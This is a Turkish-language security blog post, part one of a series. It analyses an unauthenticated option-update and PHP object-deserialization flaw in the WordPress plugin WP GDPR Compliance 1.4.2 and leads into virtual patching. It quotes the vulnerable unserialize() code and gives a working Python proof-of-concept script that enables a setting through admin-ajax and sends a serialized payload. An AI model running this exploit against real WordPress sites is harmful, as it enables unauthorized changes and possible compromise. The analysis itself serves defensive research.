WP GDPR COMPLIANCE Güvenlik Açığı ve Sanal Yama İle Düzeltme (Part1)

WordPress eklentisi olan WP GDPR Compliance, Avrupa Birliğinde çıkan GDPR(Genel Verilerin Korunması Yönetmeliği) sonrasında birçok web sitesi gibi WordPress tabanlı web sitelerinde de kullanılmak üzere gelmiştir.Fakat bu eklenti ile ortaya çıkan açıklardan dolayı, açık hedef haline gelmiş çok sayıda WordPress tabanlı web sitesi bulunmaktadır.

WP GDPR Compliance eklentisinin açıklamasına bakalım,

Bu eklenti, web sitesi ve web mağazası sahiplerine GDPR olarak bilinen Avrupa gizlilik düzenlemelerine uymalarında yardımcı olur. Bu eklentinin etkinleştirilmesi, sitenizin GDPR ile tam olarak uyumlu olduğunu garanti etmez.

  • İzinleri ekle ve ziyaretçilerine tam kontrol ver.
  • Desteklenen eklentiler için bir onay günlüğü tutmak.
  • Açık ziyaretçi onayı için desteklenen eklentilere onay kutuları eklemek.
  •  Şifreli denetimlerin log kayıtları ve ikili kayıt formu, ‘Erişim hakkı’ vasıtasıyla yapılır.
  • Kullanıcı verilerini anonimleştirerek ‘unutulma hakkı’.

Double Opt-In (İkili Kayıt Formu): Alıcının üyelik işlemleri yapılırken mail adresine üyeliğinin alındığına dair bilgi mesajı gönderilmektedir.

Orjinal WP GDPR Compliance eklentisinin açıklama dökümanı buradadır.

WP GDPR COMPLIANCE v1.4.2

İlk olarak Request User Data(Kullanıcı Verisi İsteği) sayfasını, eklentinin özellikler sayfasından etkinleştirmeniz gerekmektedir.Yukarıda ki görüntüde  Active Page‘i işaretlemeniz bu işlemi yapmanızı sağlamaktadır.

 

Daha sonrasında ise bazı sayfalar(bu örnekte page_id=5)’a [wpgdprc_access_request_form] ***shortcode’ını eklemeniz gerekmektedir.Bu sayede bu sayfamıza request(istek) atabiliriz ve GET ile atacağımız bu istekte  wpgdprc parametremizi ekleyerek isteğimizi atacağız ki kompleks olarak database’imizde bulunan değişkenimizi çağırabilelim.

***shortcode: Parantez içerisine yerleştirilmiş, WordPress için ekstra işlevsellik sağlayan, ‘functions.php’ içerisine yazılan fonsiyonlardır.

 
 
 

İstisnası büyük olasılıkla düşüktü çünkü “Request User Data” sayfasının etkin(varsayılan olarak devre dışı bırakılmış)  gerekli olduğu ve bazı genel yayın /sayfalara “[wpgdprc_access_request_form]” kısa kodunu eklemesi gerektiğinden sömürü olasılığı düşüktü.
Kaynak koduna dalmak, sayfadaki bu onay kutusu, “wpgdprc_settings_enable_access_request “adlı

eklentinin tarafından oluşturduğu bir WordPress seçeneğiyle ilgilidir. Wordfence tarafından açıklanan güvenlik açığına bakıldığında, savunmasız sonunda mantık” update_option “ve “do_action” tarafından yürütüldü. O zaman, bu güvenlik açığını kullanarak “Request User Data”  yı etkinleştirirsem ne olur ? Evet çalışıyor! Dahili olarak “update_option (‘wpgdprc_settings_enable_access_request’,’1′)” komutunu çalıştırır.

Ardından, serileştirme güvenlik açığımızı tetikleyebilmek için bazı genel yayın /sayfalarda kısa kodu enjekte etmenin bir yolunu bulmalıyız.Bu zorlu bir aşamadır.Kaynak koduna bakıldığında, Wordfence’daki  güvenlik açığı, savunmasız mantığa ulaşan ” type=’save_setting’ “ olarak değerlendirilir. Bununla birlikte,bu “type” değişkeni, diğer değerleri de işleyen bir anahtar deyiminin parçasıdır. Burda dikkat çeken asıl olay  “delete_request”:

  <?php
  namespace WPGDPRC\Includes;
  class Ajax {
    [...]
    
    switch($type) {
      [...]
        
      case 'delete_request' :
        if (Helper::isEnabled('enable_access_request', 'settings')) {
            $session = (isset($data['session'])) ? esc_html($data['session']) : '';
            $settings = (isset($data['settings']) && is_array($data['settings'])) ? $data['settings'] : array();
            $type = (isset($settings['type']) && in_array($settings['type'], Data::getPossibleDataTypes())) ? $settings['type'] : '';
            $value = (isset($data['value']) && is_numeric($data['value'])) ? (int)$data['value'] : 0;
            if (empty($session)) {
                $output['error'] = __('Missing session.', WP_GDPR_C_SLUG);
            }
            if (empty($type)) {
                $output['error'] = __('Missing or invalid type.', WP_GDPR_C_SLUG);
            }
            if ($value === 0) {
                $output['error'] = __('No value selected.', WP_GDPR_C_SLUG);
            }
            // Let's do this!
            if (empty($output['error'])) {
                $accessRequest = unserialize(base64_decode($session));
                [...]
            }
          }
      }
    }

Önceki istekten 4.satırdaki koşul doğru olarak dönecek ve mantık devam edecektir.Doğru “session settings type value” değerlerini sağlayabilirsek, 31-numaraları satırdaki “unserialize()” ifadesine ulaşabiliriz. Karasız hale getirme değeri tamamen konrtolümüz altındadır. Önceki yayında belirtilen aynı PDO aracını kullanarak, bir kavram kanıtı yazılır:

  
import json
import re

import requests

base_url = 'http://wordpress.test:9090/'

# Get wpgdprc security token
res = requests.get(base_url)
security_token = re.findall(r'"ajaxSecurity"\:"(.*?)"', res.text)[0]
payload = {'action': 'wpgdprc_process_action', 'security': security_token}

# Enable access request
payload['data'] = json.dumps({
    'type': 'save_setting',
    'append': False,
    'option': 'wpgdprc_settings_enable_access_request',
    'value': '1',
})
requests.post(f'{base_url}/wp-admin/admin-ajax.php', data=payload)

# Process delete_request action
payload['data'] = json.dumps({
    'type': 'delete_request',
    'session': 'TzozOiJQRE8iOjA6e30%3D',
    'settings': {'type': 'user'},
    'value': '1',
})
requests.post(f'{base_url}/wp-admin/admin-ajax.php', data=payload)

Sunucu kayıtlarında, kararsız hale getirme işlevine ulaştığımızı görebiliriz.

(konuyla alakalı ilerleyen günlerde bir yazı daha eklenecek)

Wordfence yazısından okumak, onların güvenlik duvarı tarafından engellenmeyen yeni bir değişken ortaya çıkardı.Ardından, sanal yamayı kullanarak kötüye kullanımı nasıl engelleyeceğimize gidiyoruz.

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir